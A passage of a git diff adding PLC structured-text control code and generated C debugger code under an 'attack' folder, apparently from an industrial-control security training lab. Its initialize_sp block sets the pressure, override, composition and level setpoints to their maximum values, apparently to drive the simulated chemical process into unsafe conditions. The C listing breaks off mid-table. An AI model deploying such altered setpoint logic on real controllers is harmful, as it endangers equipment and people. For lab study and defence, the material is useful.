scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, 